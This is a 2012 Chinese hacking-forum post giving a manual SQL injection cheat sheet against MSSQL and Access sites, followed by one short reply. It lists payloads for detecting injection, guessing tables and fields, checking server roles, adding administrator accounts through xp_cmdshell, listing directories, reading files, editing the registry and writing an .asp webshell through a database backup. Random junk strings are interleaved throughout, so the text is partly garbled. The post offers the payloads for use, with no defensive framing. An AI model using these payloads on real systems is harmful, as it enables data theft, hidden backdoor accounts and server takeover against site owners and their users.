找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2278|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
- k% q1 K/ h5 M- o1.判断是否有注入;and 1=1 ;and 1=2 0 z0 V+ V3 ~8 l4 ?7 w9 P

7 A+ y% b* @7 \- _0 e2.初步判断是否是mssql ;and user>0
; q2 z$ U/ E+ t: Q6 R" X0 T3 A$ L7 g; q
3.注入参数是字符'and [查询条件] and ''=' . G* U4 i2 t" R/ B& G# A# a
- {0 u/ e; H5 O. r2 p! H
4.搜索时没过滤参数的'and [查询条件] and '%25'='
" J+ ^  \" Q  W; \# Y
, y: ^7 f6 w; x5.判断数据库系统 ' U9 R7 B3 F4 [
;and (select count(*) from sysobjects)>0 mssql ' c& W+ }0 ?$ R2 N$ n$ p/ Q
;and (select count(*) from msysobjects)>0 access # L# v- h4 j: G* e' b4 H. R/ Q

' E, ~: G2 |7 S) A, m6.猜数据库 ;and (select Count(*) from [数据库名])>0 6 q$ ~/ H; [- |4 P' m  I* m
& h* ?" N8 R. t5 X1 F+ ^5 h2 a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $ H# m1 d6 t9 V- V4 m$ F

- n% K' Z" a' `' M) }4 w. W8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
2 X% q$ j: x$ k! e. k2 F/ G
; m) R/ n- k. @/ Z$ q( S: o9.(1)猜字段的ascii值(access)
3 B  p# x& C) E: ^- A8 d;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
" s' `+ b: w  a8 p9 s& j* A4 T" @( w1 d1 c: W
(2)猜字段的ascii值(mssql) + @/ A: X7 i! B3 p9 _
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
# ]6 C( }0 U# @) l; H: `& X3 e
* s* W1 M5 `6 b1 K1 P1 A, V10.测试权限结构(mssql) ; w( l" i# Y) [3 o
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ) `! k( [$ \" S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 N* {# T9 S6 U/ _;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " A" F2 k1 u3 m7 [" V
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& ?3 J& Y7 T/ f5 l' Q1 C;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. V. ]1 i- l. v7 ~, z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
9 Q% ^9 N( P" z;and 1=(select IS_MEMBER('db_owner'));--
% F# F% d( R/ a7 K) n: j1 P; y
: b$ A" O/ J4 E6 K: N; r11.添加mssql和系统的帐户
% e. t' x+ \2 f* V% O7 B! F;exec master.dbo.sp_addlogin username;--
2 I2 G- G. D6 T4 V. N  r/ D
1 k1 y5 I! o5 V;exec master.dbo.sp_password null,username,password;-- ) z- D* I7 \% B8 T

1 K4 l( J4 Z$ V  w  u+ b;exec master.dbo.sp_addsrvrolemember sysadmin username;--
* \2 S2 ~) [0 \: c* q2 w: R) q- @9 m; Y3 h1 s4 K
;exec master.dbo.xp_cmdshell 'net user username password
6 r4 k7 t7 R$ A8 i* U8 A0 t/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 0 x( ]$ C! e$ `4 P) W( N3 t$ a
% U" v3 o- \- f6 P
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 0 l( a1 t' N$ P* I( b

4 w1 [( X1 R; T* A  r;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" Y4 P% j& l0 r6 I' ]6 F
( Y- U9 x: E1 I" @  G5 z' ~: ]& c12.(1)遍历目录
# B% c+ l5 L* B. }5 b( Z6 n4 r* @* i$ @& ?; l
;create table dirs(paths varchar(100), id int)
+ |( Y+ G- F* Y- y$ b/ J7 Q;insert dirs exec master.dbo.xp_dirtree 'c:\'
% g/ A/ _2 ~! o' T/ M! D;and (select top 1 paths from dirs)>0 . M) u' d0 Q  j
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
! y- i2 v8 ]% ?) R
) L6 G6 h! y0 o. n2 ^8 m(2)遍历目录 4 Y- E' `8 g- N$ |
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. n7 o( V  k5 j- z0 m" ^  H;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ G6 D6 M! B8 O;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / s" x. X: j$ c1 @* U( r3 O2 p
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 2 z8 M; Z8 E$ _# y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5 }. H! p4 M. ~

$ ^9 D; Y1 d8 {0 D4 P. L% E13.mssql中的存储过程
* j8 }- L$ q) v8 t/ I3 u2 B: {; N9 A: O8 @5 ^6 h
xp_regenumvalues 注册表根键, 子键
  J) W8 ]* f' ~2 t;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 * P- F7 y" S% i, k5 f; C3 }) v4 ?% R
3 @5 i# m  E/ n: N
xp_regread 根键,子键,键值名
# Q% b( B* D2 S;exec xp_regread * c3 c5 p9 t* A
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 , [- J- ^2 H: u' H
0 D1 K& U% a% x, ?) Z
xp_regwrite 根键,子键, 值名, 值类型, 值
0 j. Z- U0 J/ N; J6 q9 v值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $ ]; \( F; b* T& R) W# `0 U
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9 H+ ~' ?' @  ]/ i

+ ~2 K9 \3 g4 V' b1 B) Oxp_regdeletevalue 根键,子键,值名
3 J1 d/ X3 u% A
. Q) W% A; {; c1 x6 s' J6 Sexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
# F$ Y; B0 S5 I4 J$ |5 V1 n9 U/ k9 P. T/ m0 ?% T
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 ^, ?5 p; D9 r. {5 r% z  i* s' ~

, x0 V* T$ {2 L6 s+ k14.mssql的backup创建webshell ) a: S8 e0 P& g
use model
6 b: M1 i) M* C! I7 Screate table cmd(str image); - O. ^9 }9 s, q) R* z# b
insert into cmd(str) values ('');
" f: o8 c6 ]% ebackup database model to disk='c:\l.asp';
1 M: y; f; g8 l* h+ J% S# ]6 Q
7 N& f1 ^* r2 `4 ?3 J6 R0 A15.mssql内置函数
' s9 Q( e9 @# y0 E7 \;and (select @@version)>0 获得Windows的版本号
, ~& I0 ]( Z# t! Y% g;and user_name()='dbo' 判断当前系统的连接用户是不是sa
) ~4 P" m) e6 O" I;and (select user_name())>0 爆当前系统的连接用户 : |' _: P! ~4 g' p  O" n
;and (select db_name())>0 得到当前连接的数据库
! [6 }' A8 n0 s/ u3 m" l# s
7 Q" K  d- @/ C* ^6 {16.简洁的webshell
! `: I' l( ?! d, ?; k* f4 X& \8 ?' S! z6 N4 ]/ ]
use model 0 N+ y: L; i# C) |% r& T

7 g5 N' G: b5 ]) `& i, L$ c: Hcreate table cmd(str image);
( y, F$ u8 r% _, n
3 m$ w. @3 H$ v, |% t3 Tinsert into cmd(str) values (''); 6 {  q5 F5 X( _& w+ L* W

8 a- Y5 P4 }9 m- _- |& u$ R+ fbackup database model to disk='g:\wwwtest\l.asp'; ' @/ \6 `5 n% G/ u! }$ A# Y4 \& D, W
& t! S  h  z% l+ p
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表